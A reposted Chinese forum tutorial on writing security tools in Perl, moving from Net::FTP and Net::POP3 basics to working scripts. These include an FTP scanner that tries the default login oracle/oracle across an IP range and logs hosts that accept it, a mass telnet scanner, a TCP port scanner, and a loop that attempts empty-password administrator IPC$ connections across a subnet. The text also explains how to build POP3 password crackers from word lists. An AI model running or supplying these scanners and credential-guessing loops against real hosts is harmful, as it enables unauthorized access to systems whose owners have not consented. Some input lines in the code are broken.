返回列表 回复 发帖

[转帖]用Perl写出自己的安全工具--初级篇

作者:goodwell

Perl的简单介绍
Perl是Practical Extraction and Report Language的缩写,它是由Larry Wall设计的,并由他不断更新和维护,用于在UNIX环境下编程。
Perl具有高级语言(如C)的强大能力和灵活性。事实上,你将看到,它的许多特性是从C语言中借用来的。
与脚本语言一样,Perl不需要编译器和链接器来运行代码,你要做的只是写出程序并告诉Perl来运行而已。这意味着Perl对于小的编程问题的快速解决方案和为大型事件创建原型来测试潜在的解决方案是十分理想的。在下面的文章里我将讲述如何快速的使用perl写出自己喜欢的安全工具,当然这是一篇比较初级的文章,如果你对Perl的应用有更多的理解也同样希望你能来信共勉。

需要的文件:
Perl 5.6 for win200 http://www.activestate.com/download/ActivePerl/Windows/5.6/ActivePerl-5.6.0.617-MSWin32-x86-multi-thread.msi

Pl to EXE (5.6 for win) http://www.indigostar.com/p2x56.zip

Perl to EXE website (Other System) http://www.indigostar.com/perl2exe.htm

Mis file for NT 4.0 http://www.activestate.com/download/contrib/Microsoft/NT/InstMsi.exe


安装: 由于后面的文章我将使用到一些Perl扩展的PM包所以我建议直接安装PERL5.6版本。
UNIX下安装过程为:
(1)解压:
$gunzip perl-5.6.tar.gz
$tar xvf - (2)编译:
$make makefile
(3)放置:
将编译生成的可执行文件拷贝到可执行文件通常所在目录,如:
$copy /usr/local/bin/perl
注:这需要系统管理员权限。


WINNT 4.0
先安装 http://www.activestate.com/download/contrib/Microsoft/NT/InstMsi.exe
然后安装http://www.activestate.com/download/ActivePerl/Windows/5.6/ActivePerl-5.6.0.617-MSWin32-x86-multi-thread.msi

windows 2K
直接安装http://www.activestate.com/download/ActivePerl/Windows/5.6/ActivePerl-5.6.0.617-MSWin32-x86-multi-thread.msi

安装完毕后我们将看到有一个perl目录 仔细查看一下 /perl/lib/net 目录下是否有 ftp.pm文件。

如果你对perl一无所知 我希望你能先仔细的阅读一下他的教材,这有一个比较好的教材
http://free.prohosting.com/~perl/teach/index.htm

好了 让我们开始

了解 CPAN
CPAN代表的是「大 Perl档案库网络」(Comprehensive Perl Archive Network),一个在全世界数十台机器之间相互映射的巨大档案库。CPAN包含了原始码、对各非原生系统的移植、使用说明、程式,以及许多由第叁类团体所写的模组和延伸,从各商业品牌的资料库介面、到键盘/萤幕控制,乃至全球资讯网漫游及 CGI程 式皆一应具全。CPAN的总主机是ftp://ftp.funet.fi/pub/languages/perl/CPAN/,但您也可以透过这个位址:http://www.perl.com/CPAN/CPAN.html来自动连接一个在地理位置上最接近您的站。至於这个设计的运作原理,请看 http://www.perl.com/CPAN(最後头没有斜线)的说明。
CPAN/路径/... 是 CPAN站台上头的档案的命名规范。CPAN 代表一个 CPAN映射的基准目录,然後其馀的路径是由该目录到一个档案的路径。例如,如果您使用 ftp://ftp.funet.fi/pub/languages/perl/CPAN来做您的 CPAN 站,那麽 CPAN/misc/japh这个档案便可以从 ftp://ftp.funet.fi/pub/languages/perl/CPAN/misc/japh 抓下来。

由於目前 CPAN档案库中已经有数百个模组,因此几乎任何您所能想到的用途,大概都已经有现成的模组可以办到。目前在 CPAN/modules/by-category/ 底下的类 别包括了 perl核心模组、协助发展模组、作业系统介面、网路、周边设备、不同 processes间之沟通、资料型态工具、资料库介面、使用者介面、与其他语言介面、档名、档案系统、档案锁定、软体国际化及地方化、全球资讯网支援、伺服软体工具、档案库和档案压缩、图形变换处理、电子邮件及新闻讨论群、程式流程控制工具、filehandles和输入/输出、微软视窗模组,以及杂项模组 等。

应用 一
先来看一个简单的应用FTP扩展模组Net::FTP - FTP Client class

######################################################
#!/usr/bin/perl
use Net::FTP;
$ftp = Net::FTP->new("some.host.name", Debug => 0);
$ftp->login("anonymous",'me@here.there');
$ftp->cwd("/pub");
$ftp->get("that.file");
$ftp->quit;
########################################################

上面我们看到了一个CPAN ftp.pm的使用列子 ,要使用 ftp.pm你必须首先调用
use Net::FTP;
$ftp = Net::FTP->new("some.host.name", Debug => 0);
上面这句告诉ftp将要登陆的主机地址为 some.host.name
注:如果连接成功 $ftp将返回一个1(真)值。我们可以用逻辑判断
$ftp是否为真 来确定目标主机器是否使用了ftp服务,在后面我将用一个范例来具体的说明。
$ftp->login("anonymous",'me@here.there');
这一句告诉我们FTP登陆目标主机后使用的用户名和密码,才这他使用了一个匿名登陆的列子,用户名为anonymous 密码为me@here.there
注:登陆成功后$ftp->login("anonymous",'me@here.there'); 将返回一个1(真)值。我们可以用逻辑判断来确定用户名和密码是否通过,同样在后面我将用一个范例来具体的说明。
$ftp->cwd("/pub");
$ftp->get("that.file");
$ftp->quit;

这几句等效于ftp的命令cwd,get , quit。ftp.pm几乎可以使用所有的ftp命令,至于其他ftp命令的使用方法建议你查看/per/html/site/lib/net/ftp.html帮助文件,到这里我相信你已经可以自己编写一个自己登陆ftp主机然后下载或上传文件的例子。后面我还会告诉你如何使用perl2exe把你写好的pl文件TO exe 可执行文件。

应用二Net:OP3 - Post Office Protocol 3 Client class (RFC1081)
#############################################################
#!/usr/bin/perl
use Net:OP3;
$pop = Net:OP3->new('www.isbase.com');
$pop->login("webmaster",'12345');
$pop->quit;
###############################################################
同样上列很简单,连接pop3主机 www.isbase.com 使用户名webmaster和密码12345进行校验,根据上列我们在不同的地方做一定的逻辑判断可以方便的知道目标主机的连接是否通过,用户和密码是否通过,相信如果你再仔细的看一下perl的基本应用文档你可以方便的编写出自己的pop3薄弱密码检验程序,
比如
指定一段IP范围的POP3连接情况,你只需要把www.isbase.com改成一个变量 并对其做循环。
根据user.txt或pass.txt文件对单一主机做不同用户或密码的猜测。而你只需要把webmasrer或12345设成相应的变量,并把文件user.txt或pass.txt内的字符赋值给该变量,你就可以做出自己的pop3用户和密码破解器。
暴力猜测 虽然这无疑是一种浪费时间的做法,但是如果你一定要做的话我想也很容易你只要多做几次循环。
下面我写了几个应用我们来看一下
###########from isbase.com##########################################
#!/usr/bin/perl
use Net::FTP; # 调用ftp.pm包
print("\n请输入ip ex:202.96\n");
$netaddress = ; # 标准输入赋值给变量$netaddress
print("\n\n"); #向屏幕打印空行
chop($netaddress); #去掉$netaddress变量中的回车符
$host = 1; #设定变量host 初始值为 1
$count = 1; #设定变量host 初始值为 1
while ($count < 255) # ip后第二位循环
{
while ($host < 255) # ip最后一位循环
{
print "正在扫描 $netaddress.$count.$host \n" ;
$ftp = Net::FTP->new("$netaddress.$count.$host", Debug => 0);
if ( $ftp ) #如果连接为空执行检验密码跳过,直接运行else中内容
{
$a=$ftp->login('oracle','oracle'); #校验密码 用户名为oracle 密码为 oracle
$ftp->quit; #ftp命令 quit
if ( $a == 1 ) #如果校验通过执行
{
open(OUTFILE, ">>host.txt"); #打开文件host.txt
print OUTFILE ("$netaddress.$count.$host \n"); #向里面写入一行当前检验通过的ip地址
print "发现目标 $netaddress.$count.$host \n" ;
}
}
else
{
print "连接 $netaddress.$count.$host 失败! \n" ;
}
$host++;
}
$count++;
}
##############################################################################

telnetscaner.pl
###########################################################################

#!/usr/bin/perl
use Socket;
use Net::Telnet ();

# timeouts in seconds for creating a socket and connecting
my $MAX_SOCKET_TIME = 2;
my $MAX_CONNECT_TIME = 3;

my $HELP=qq{Usage: telnetdcheck [-h | --help] [-p processes] [-d | --debug] host\n};


my @hosts;

# how many simultaneous processes are we allowed to use?
my $MAX_PROCESSES=10;
my $DEBUG=0;

while($_=shift){
if(/^--(.*)/){
$_=$1;
if(/help/){
print $HELP;
exit(0);
}
if(/debug/){
$DEBUG=1;
}
}
elsif(/^-(.*)/){
$_=$1;
if(/^h/ or /^\?/){
print $HELP;
exit(0);
}
if(/^p/){
$MAX_PROCESSES=shift;
}
if(/^d/){
$DEBUG=1;
}
}else{
push @hosts,$_;
}
}

if(!$hosts[0]){
print $HELP;
exit(-1);
}

my $host;
$|=1;
for $host (@hosts){
$_=shift(@hosts);

# scan a class C
if(/^([^.]+)\.([^.]+)\.([^.]+)$/){
my $i;
print "Expanding class C $_\n" if($DEBUG);
for($i=1;$i<255;$i++){
my $thost="$_.$i";
push @hosts,$thost;
}
}
else{
push @hosts,$_;
}
}

my @pids;
my $npids=0;

for $host (@hosts){
my $pid;
$pid=fork();
if($pid>0){
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}else{
my($proto,$port,$sin,$ip);
print "Trying $host\n" if ($DEBUG);
$0="(checking $host)";

# kill thread on timeout
local $SIG{'ALRM'} = sub { exit(0); };

alarm $MAX_SOCKET_TIME;
$proto=getprotobyname('tcp');
$port=23;
$ip=inet_aton($host);
if(!$ip){
print "couldn't find host $host\n" if($DEBUG);
exit(0);
}
$sin=sockaddr_in($port,$ip);
socket(Sock, PF_INET, SOCK_STREAM, $proto);

alarm $MAX_CONNECT_TIME;
if(!connect(Sock,$sin)){
exit(0);
}
my $iaddr=(unpack_sockaddr_in(getpeername(Sock)))[1];
close(Sock);

# SOMETHING is listening on the telnet daemon?

print "listen $host!\n" if($DEBUG);
alarm 0;
$hostname=gethostbyaddr($iaddr,AF_INET);

# create new telnet connection w/10 second timeout
$telnet = new Net::Telnet (Timeout => 10, Prompt => '/bash\$ $/');
if(!$telnet){
print " <$host ($hostname) denied you>\n" if($DEBUG);
exit(0);
}
if(!$telnet->login("anonymous","just-checking")){
print " Telnet Daemon on $host [$hostname]\n";
exit(0);
}

print "Telnet Daemon on $host [$hostname]\n";

$telnet->quit;
exit(0);
}
}

print "done spawning, $npids children remain\n" if($DEBUG);

# wait for my children
for(1..$npids){
my $wt=wait();
if($wt==-1){
print "hey $!\n" if($DEBUG);
redo;
}
}

print "\nDone\n\n";
#######################################################################

上面这个列子引用到了use Net::Telnet ,其实cpan的扩展模组几乎包括了所有你能想到的应用,如
Net::hostent
Net::netent
Net::Netrc
Net::NNTP
Net::PH
Net::Ping
Net::POP3
Net::protoent
Net::servent
Net::SMTP
Net::SNPP
Net::Time
Net::IRC

下面我们来看一个tcpscan.pl
#####################################################################
#!/usr/bin/perl
# This is a simple script that scans a machine for reachable TCP ports.
# usage : tcpscan [maxtcp]
$|=1;
$tghost=$ARGV[0];
if ($#ARGV>0)
{
$maxprt=$ARGV[1];
}
else
{
$maxprt=1500;
}
$AF_INET=2;
$SOCK_STREAM=1;
$sockaddr='S n a4 x8';
chop ($hostname='hostname');
($name,$aliases,$proto)=getprotobyname('tcp');
foreach $port (1 .. $maxprt)
{
($name,$aliases,$port)=getservbyname($port,'tcp')
unless $port=~ /^\d+$/;;
($name,$aliases,$type,$len,$thisaddr)=gethostbyname($hostname);
($name,$aliases,$type,$len,$thataddr)=gethostbyname($tghost);
$this=pack($sockaddr,$AF_INET,0,$thisaddr);
$that=pack($sockaddr,$AF_INET,$port,$thataddr);
if ($thataddr eq "")
{
die "non existing host";
}
if (socket(S,$AF_INET,$SOCK_STREAM,$proto))
{
}
else
{
die $!;
}
if (bind(S,$this))
{
}
else
{
die $!;
}
if (connect(S,$that))
{
($srv_name,$srv_aliases,$srv_port,$srv_proto)=getservbyport($port,'tcp');
print "\r$port $srv_name\n";
close(S);
}
else
{
print "\r($port)";
}
}
print "\r \n";

#########################################################################
系统调用 system
######################################################################
system ('cls');
print("Copyright isbase \n");
print("******** www.isbase.com \n\n\n");
print("请输入IP \n");
print("EX: 202.96 \n");
$netaddress =
$password = '""'
chop($netaddress);
print("\n\n");
$host = 1;
$name = administrator;

while ($host < 256)
{
print ("net use \\\\$netaddress.$host\\ipc\$ $password /username");
print ("\n\n");
system ("net use \\\\$netaddress.$host\\ipc\$ $password /username");
#调用系统 net use \\ip 密码 用户名
$host++;
}
######################################################################
上面这个程序充分利用了NT本身的一些命令,自动的对指定ip范围内做用户名和密码的校验。由于时间仓促我写的很简单,我想你可以做的更好,如果你有更好的想法欢迎你能来信探讨goodwell@263.net。

怎么把写好的pl在其他机器上使用
这里有一个很好的办法,你可以把你写好的perl程序TO exe
你可以到这个地址http://www.indigostar.com/p2x56.zip 下一个
perl2exe 然后编译成exe文件。著名的NT扫描软件gnti.exe就是perl2exe编写的,希望不久的将来你也能写出一个经典的scanner or bot!

在此我想说明的我不是在教你如何去使用perl或写出scan for perl给大家使用,我真心的希望更多的人能去学习她,用她来编写出自己的列子more &more 。
最后用perl之父的一句话来结束我们的学习
解决问题的方法不止一种!

                     我是一个呼吸着现在的空气而生活在过去的人
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
                                     我已习惯了孤独,爱上孤独
                                 他让我看清了自我,还原了自我
                             让我再静静的沉思中得到快乐和满足
                                   再孤独的世界里我一遍又一遍
                                   不厌其烦的改写着自己的过去
                                             延伸到现在与未来
                                       然而那只是泡沫般的美梦
                                 产生的时刻又伴随着破灭的到来
                         在灰飞烟灭的瞬间我看到的是过程的美丽
                                      而不是结果的悲哀。。。
返回列表